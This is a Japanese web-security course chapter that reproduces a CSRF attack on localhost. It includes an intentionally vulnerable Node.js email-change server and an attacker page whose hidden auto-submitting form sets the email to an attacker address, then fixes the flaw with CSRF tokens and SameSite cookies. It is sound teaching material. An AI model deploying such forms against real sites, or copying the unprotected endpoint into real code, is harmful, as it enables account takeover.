コース目次 / 第3章

CSRF — 意図しない操作を、させられる

攻撃者サイトから、被害者のCookieを使って状態変更リクエストを送るCSRFを2オリジンで再現します。原因を理解し、CSRFトークンとSameSiteで直して再検証します。

第3章 / 全6章目安 約13分この章のゴール: CSRFを再現し、CSRFトークンとSameSiteで直せるようになる

セッションIDが強くて盗まれていなくても、起きる攻撃があります——CSRF(Cross-Site Request Forgery)。攻撃者は、あなたのセッションIDを盗みません。あなたのブラウザに、あなたのCookieごと、意図しないリクエストを送らせるのです。

法と倫理ゲート

手を動かす前に

このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。

  • (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
  • (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
  • (c) CTF 競技の中(規約の範囲で)

実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。

仕組み — ブラウザは、Cookieを自動で付ける

思い出してください。ブラウザは、127.0.0.1:3820 へのリクエストには、3820 の Cookie を自動で付けます。どのページ起点のリクエストであっても——攻撃者のサイト起点であっても(SameSite が無ければ)。ここに穴があります。

あなたが銀行(:3820)にログイン済みのまま、攻撃者のサイト(:3821)を開く。攻撃者のページが、こっそり銀行の「メールアドレス変更」に POST を送る。ブラウザは、その POST に銀行の Cookie を自動で付けてしまう。銀行サーバは「正しいセッションが来た」と信じ、メールアドレスを攻撃者のものに変える——パスワードリセットの乗っ取りへ。あなたは何もしていないのに、あなたの権限で操作が実行された。

標的 — メール変更を持つアプリ(:3820)

下を csrf-victim.js として保存します。TOKEN=1 で修正版(トークン必須)です。

// csrf-victim.js — メール変更を持つアプリ。127.0.0.1:3820。TOKEN=1 で修正版。
const http = require('node:http');
const crypto = require('node:crypto');

const sessions = new Map(); // sid -> { user, email, csrf }
const REQUIRE_TOKEN = process.env.TOKEN === '1';

http.createServer((req, res) => {
  const url = new URL(req.url, 'http://127.0.0.1:3820');
  const sid = /(?:^|;\s*)sid=([^;]+)/.exec(req.headers.cookie || '')?.[1];
  res.setHeader('Content-Type', 'text/plain; charset=utf-8');

  if (url.pathname === '/login') {
    const s = crypto.randomBytes(16).toString('hex');
    sessions.set(s, { user: 'haruto', email: 'haruto@example.com', csrf: crypto.randomBytes(16).toString('hex') });
    // 修正版は SameSite=Strict も付ける(他サイト起点では Cookie を送らせない)。
    const attrs = REQUIRE_TOKEN ? '; HttpOnly; SameSite=Strict; Path=/' : '; HttpOnly; Path=/';
    res.setHeader('Set-Cookie', 'sid=' + s + attrs);
    res.end('ログイン。csrfトークン=' + sessions.get(s).csrf);
    return;
  }

  if (url.pathname === '/email' && req.method === 'POST') {
    const sess = sessions.get(sid);
    if (!sess) { res.writeHead(401); res.end('未ログイン'); return; }
    let body = '';
    req.on('data', (c) => (body += c));
    req.on('end', () => {
      const params = new URLSearchParams(body);
      // 修正版: セッションの csrf トークンと一致しなければ拒否。
      if (REQUIRE_TOKEN && params.get('csrf') !== sess.csrf) {
        res.writeHead(403); res.end('CSRFトークン不一致'); return;
      }
      sess.email = params.get('email');
      res.end('メールを ' + sess.email + ' に変更しました');
    });
    return;
  }

  if (url.pathname === '/me') { res.end(JSON.stringify(sessions.get(sid) || {})); return; }
  res.end('ok');
}).listen(3820, '127.0.0.1', () => console.log('被害者アプリ: http://127.0.0.1:3820 (Ctrl+C で停止)'));

攻撃者サイト(:3821)

開いた人のブラウザに、被害者アプリのメール変更を自動で送らせるページです。csrf-attacker.js として保存します。

// csrf-attacker.js — 攻撃者サイト。127.0.0.1:3821。開いた人に :3820 のメール変更を送らせる。
const http = require('node:http');

const PAGE = [
  '<!doctype html><meta charset="utf-8"><body>',
  '<h1>かわいい子猫の写真</h1><p>(裏で、あなたの銀行のメール変更を送っています)</p>',
  // ページを開いただけで自動送信されるフォーム。CSRFトークンは持っていない。
  '<form id="f" action="http://127.0.0.1:3820/email" method="POST">',
  '<input type="hidden" name="email" value="attacker@evil.example.com">',
  '</form><script>document.getElementById("f").submit();</script>',
  '</body>',
].join('\n');

http.createServer((req, res) => {
  res.setHeader('Content-Type', 'text/html; charset=utf-8');
  res.end(PAGE);
}).listen(3821, '127.0.0.1', () => console.log('攻撃者サイト: http://127.0.0.1:3821 (Ctrl+C で停止)'));

攻撃 — 開いただけで、メールが変わる

脆弱版で両方起動し、ブラウザで順に。

node csrf-victim.js       # 1つめ
node csrf-attacker.js     # 2つめ
  1. ブラウザで http://127.0.0.1:3820/login(= 被害者がログイン済み)。
  2. 同じブラウザで http://127.0.0.1:3821(= 攻撃者サイトをうっかり開く)。
  3. http://127.0.0.1:3820/me を見ると——email が attacker@evil.example.com に変わっている。

攻撃者のページを開いただけで、あなたのメールアドレスが書き換わりました。攻撃者はあなたのセッションIDを知りません。ただ、あなたのブラウザに「:3820 への POST」を送らせ、ブラウザがあなたの Cookie を自動で付けただけ。原因は——サーバが「この操作を、利用者が本当に意図したか」を確かめていないことです。

修正 — CSRFトークン と SameSite

直しは2枚重ねます。

1. CSRFトークン(同期トークン)。正規のフォームには、セッションごとに違う、推測できない合言葉(csrf トークン)を埋め込んでおき、サーバは受け取ったリクエストにそのトークンが付いているかを確かめる。攻撃者のページは、被害者のセッションのトークンを知りようがないので、送れない。
2. SameSite Cookie。セッション Cookie に SameSite=Strict(や Lax)を付ければ、他サイト起点のリクエストにはブラウザが Cookie を付けなくなる。CSRF リクエストは未ログイン扱いになり、そもそも届かない。Cookie 層での第一防御。

TOKEN=1 で再起動して、攻撃をもう一度。

TOKEN=1 node csrf-victim.js

ブラウザで /login(今度は SameSite=Strict の Cookie)→ 攻撃者サイト :3821 を開くと——メールは変わりません。curl でも、トークン無しの POST が弾かれるのを確かめられます。

# ログインして sid とトークンを得る
curl -i -c jar.txt http://127.0.0.1:3820/login
# トークン無しでメール変更を試す(= CSRF 相当)
curl -b jar.txt -X POST -d "email=attacker@evil.example.com" http://127.0.0.1:3820/email
# => CSRFトークン不一致(403)

トークンが無い(=攻撃者には作れない)リクエストは 403 で拒否されました。正規のフォームだけが持つ合言葉で、「この操作は、正規の画面から・利用者の意図で送られた」ことを確かめている。SameSite と合わせて、CSRF はほぼ塞げます。

持ち帰る一言

状態を変える操作は、意図を確かめる。 CSRF は、盗まずに「あなたのブラウザに送らせる」攻撃。CSRFトークン(攻撃者に作れない合言葉)と SameSite Cookie(他サイト起点で Cookie を送らせない)の二枚で塞ぐ。次は、複数サービスにまたがる認証——OAuth / OIDC を、自作モックで見ます。

こうなっていればOK

卒業まであと2章です。

この章はまだ完了していません。